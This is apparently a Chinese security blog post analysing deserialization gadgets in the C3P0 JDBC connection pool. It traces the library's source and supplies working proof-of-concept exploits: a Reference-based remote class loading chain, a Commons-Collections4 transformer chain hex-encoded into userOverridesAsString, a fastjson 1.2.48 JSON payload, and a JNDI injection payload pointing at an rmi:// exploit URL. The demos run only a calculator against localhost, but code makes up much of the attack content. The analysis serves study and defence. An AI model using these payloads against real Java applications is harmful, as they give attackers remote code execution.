C3P0反序列化分析

前言:

C3P0是JDBC的一个连接池组件

JDBC:

​ 是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问

连接池:

​ 在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大;影响相关资源利用;所以连接池可以简单的理解为了提高效率,避免频繁地创建和销毁JDBC连接,通过连接池(Connection Pool)复用已经创建好的连接。每次对于数据库操作的时候不用打开链接最后关闭连接;相关的链接会一直存在,以此来降低资源的消耗;

C3P0:

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。

Gatget:

看到上面的介绍,相信已经很好的理解了这个相关漏洞,因为说支持jndi 绑定,所以C3P0会存在相关的反序列化漏洞;但是因为在高版本的jdk下jndi注入会受到限制;所以这篇文章简单介绍两种利用方法;JNDI注入和ClassLoader加载恶意class造成RCE;

正文:

其实相关的攻击不是很难理解,简单跟着代码来看看原理;

漏洞发生在PoolBackedDataSourceBase这个class下,简单的追溯一下源码看一波;先从writeObject函数看起:

XAY6j1.png

看上图,可以看到首先调用SerializableUtils类下的toByteArray函数将connectionPoolDataSource属性对应的对象实例尝试序列化转换成字节数组之后进行序列化;看一下相关逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static byte[] toByteArray(Object var0) throws NotSerializableException {
return serializeToByteArray(var0);
}

public static byte[] serializeToByteArray(Object var0) throws NotSerializableException {
try {
ByteArrayOutputStream var1 = new ByteArrayOutputStream();
ObjectOutputStream var2 = new ObjectOutputStream(var1);
var2.writeObject(var0);
return var1.toByteArray();
} catch (NotSerializableException var3) {
var3.fillInStackTrace();
throw var3;
} catch (IOException var4) {
if (logger.isLoggable(MLevel.SEVERE)) {
logger.log(MLevel.SEVERE, "An IOException occurred while writing into a ByteArrayOutputStream?!?", var4);
}

throw new Error("IOException writing to a byte array!");
}
}

这段代码可以理解成先尝试序列化如果可以序列化之后就直接序列化,反之则进入catch流程;主要的逻辑发生在catch流程之中;先实例化ReferenceIndirector对象;然后调用indirectForm方法生成IndirectlySerialized对象进行封住之后返回;主要逻辑如下:

1
2
3
4
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

具体的代码可以看下图:

XANTmt.png

可以看到实际上后续调用了静态类的ReferenceSerialized函数;主要用来设置一些属性;也可理解为一些配置;这些是漏洞的利用关键点;这几步可以理解成将一些配置属性进行封装成ReferenceSerialized返回;然后将返回的IndirectlySerialized对象进行序列化的操作;序列化之后也通过类似的方法序列化factoryClassLocation,identityToken,numHelperThreads等的属性;

这个类重写了序列化的操作,那么应该具体也应该重写了反序列化操作;看一下相关的反序列化操作;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();//序列化的时候写入version,反序列化的时候会恢复;默认是1;
switch(version) {
case 1:
Object o = ois.readObject();//进行常规的反序列化操作;
if (o instanceof IndirectlySerialized) {//判断是否继承于IndirectlySerialized
o = ((IndirectlySerialized)o).getObject();//如果是则调用getObject方法;
}

this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
this.dataSourceName = (String)ois.readObject();//反序列化流里的后续属性数据;
o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}

this.extensions = (Map)o;
this.factoryClassLocation = (String)ois.readObject();
this.identityToken = (String)ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}

上述的逻辑我已经标出,其实对照序列化的流程也就不是很难理解;主要的逻辑还是发生在反序列化的getObject方法内;追溯一下相关的逻辑;

XABLt0.png

这里很明显,因为c3p0支持jndi绑定,所以这里使用了InitialContext实例;这里先来分析使用ClassLoader进行加载class造成rce的点;看到调用了ReferenceableUtils实例下的referenceToObject方法;追进去看一下;

XAv0OO.png

可以看到这里是很熟悉的Reference实例的利用情况,在jndi注入中,其实本质也是利用Reference进行封装,然后经过一些处理才可;所以这里就很明白了,将Factoryclass设置成恶意的class;然后factoryloaction设置为url地址;就可以造成远程加载;我这里本地写一个恶意class;直接urlClassloader加载本地的class进行验证;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.InvalidNameException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class exper {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException, InstantiationException, InvalidNameException {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class poolBackedDataSourceBaseclass = poolBackedDataSourceBase.getClass();
Field ConnectionPoolDataSource = poolBackedDataSourceBaseclass.getDeclaredField("connectionPoolDataSource");
ConnectionPoolDataSource.setAccessible(true);
s1mple s1mple = new s1mple();
ConnectionPoolDataSource.set(poolBackedDataSourceBase,s1mple);

FileOutputStream fileOutputStream = new FileOutputStream(new File("s1mple.bin"));
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(poolBackedDataSourceBase);
FileInputStream fileInputStream = new FileInputStream(new File("s1mple.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
}
public static class s1mple implements ConnectionPoolDataSource, Referenceable {
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
@Override
public Reference getReference(){
return new Reference("hacker","wtf","http://127.0.0.1");
}
}
}
1
2
3
4
5
6
7
8
9
10
11
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.IOException;
public class wtf {
static{
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}

XAx9AJ.png

可以看到攻击成功;

其相关的利用原理有点类似jndi的底层攻击原理,有兴趣的可以看我之前的几篇关于jndi底层的文章;那么这里的利用方式也就可以进行拓展;

C3P0在高版本jdk下攻击

​ 可以看到这里本质上Reference封装;那么在高版本jdk下,可以使用ELProccess;不过这种利用条件需要有Tomcat依赖;使用起来也是略微有局限性的;不过这也算是高版本jdk下比较常见的利用方式了;具体的利用方法可以看我之前的一篇文章即可;这种方法也可以在不出网的情况之下进行相关的利用;

C3P0结合fastjson

c3p0在不出网的情况之下也有其他的利用方式;漏洞主要发生在WrapperConnectionPoolDataSource这个类中;看一下相关的构造方法内部实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public WrapperConnectionPoolDataSource(boolean autoregister) {
super(autoregister);
this.connectionTester = C3P0Registry.getDefaultConnectionTester();
this.setUpPropertyListeners();

try {
this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString(this.getUserOverridesAsString());
} catch (Exception var3) {
if (logger.isLoggable(MLevel.WARNING)) {
logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), var3);
}
}
}

public WrapperConnectionPoolDataSource() {
this(true);
}

可以看到存在public的构造器,并且内部进行重载;看一下源码不难发现,是调用了C3P0ImplUtils类下的parseUserOverridesAsString方法,追进去看一下相关的处理逻辑;

1
2
3
4
5
6
7
8
9
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
} else {
return Collections.EMPTY_MAP;
}
}

主要的一个处理逻辑发生在SerializableUtils的fromByteArray下,追进去看一下相关的逻辑;

1
2
3
4
5
6
7
8
9
public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
Object var1 = deserializeFromByteArray(var0);
return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}

public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
return var1.readObject();
}

具体可以看上的代码,可以看到最后触发了readObject方法;相关的数据也就是从最开始的那个点进行传入的;在最开始的构造器里,可以看到其相关的逻辑是调用父类的构造器,简单追溯一下源码不难发现,其父类是WrapperConnectionPoolDataSourceBase,是一个抽象类,可见此处是先对其父类进行相关的处理,其父类中有个敏感的属性;userOverridesAsString;经过调试不难发现,其最开始的时候默认为null;然而对与fastjson这种来说,可以通过setter方法对其进行相关的赋值;

XEq0zT.png

通过简单的赋值之后;就会接着原本的构造器进行执行;

XEqfW6.png

可以看下的断点的那一行,调用parseUserOverridesAsString函数;就会造成最后的反序列化,所以可以围绕这个点,进行相关的反序列化攻击;因为最后反序列化点之前还会进行一次fromHexAscii操作;已经很显然是将十六进制转化为ascii;所以如果需要成功利用,那么传入的数据就需要经过十六进制转换;也就是生成序列化流之后再将相关的流进行十六进制转换;

给出poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class c3p {
public static void main(String[] args) throws Exception{
PriorityQueue a = go();
ObjectOutputStream ser0 = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
ser0.writeObject(a);
ser0.close();

InputStream in = new FileInputStream("a.bin");
byte[] bytein = toByteArray(in);
String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";
WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
exp.setUserOverridesAsString(Hex);

ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("b.bin")));
ser.writeObject(exp);
ser.close();
ObjectInputStream unser = new ObjectInputStream(new FileInputStream("b.bin"));
unser.readObject();
unser.close();
}

public static PriorityQueue go() throws Exception{

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})});

TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);

return queue;
}

public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}

public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}


1.2.48
{
"a": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:hex编码内容;"
}
}

当然如果在没有通外网的情况下更推荐使用ELProccess这个高版本jdk的绕过方法;当然,fastjson也是可以直接使用;那么同理,任何的数据和bean实例之间的转换都可尝试这个利用点,比如snakeYaml等一些类似的组件;

JNDI攻击点:

发生在JndiRefForwardingDataSource这个class下;从漏洞触发点向前推一下:

XVSQK0.png

漏洞触发的函数是dereference;向前追溯一下:

XVS1bT.png

可以看到在inner函数中进行相关的调用;再向前追溯一下:

XVSsaD.png

选择这个函数的原因是在结合fastjson等一些bean到数据的转换组件的时候,在反序列化的时候会调用setter方法;而且这个setter的相关参数非常的好处理,直接传入一个int类型的即可;相比于其他的要好处理的多;

1
2
3
4
5
6
String poc = {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "rmi://localhost:8088/Exploit",
"loginTimeout":0
}

即可造成jndi注入;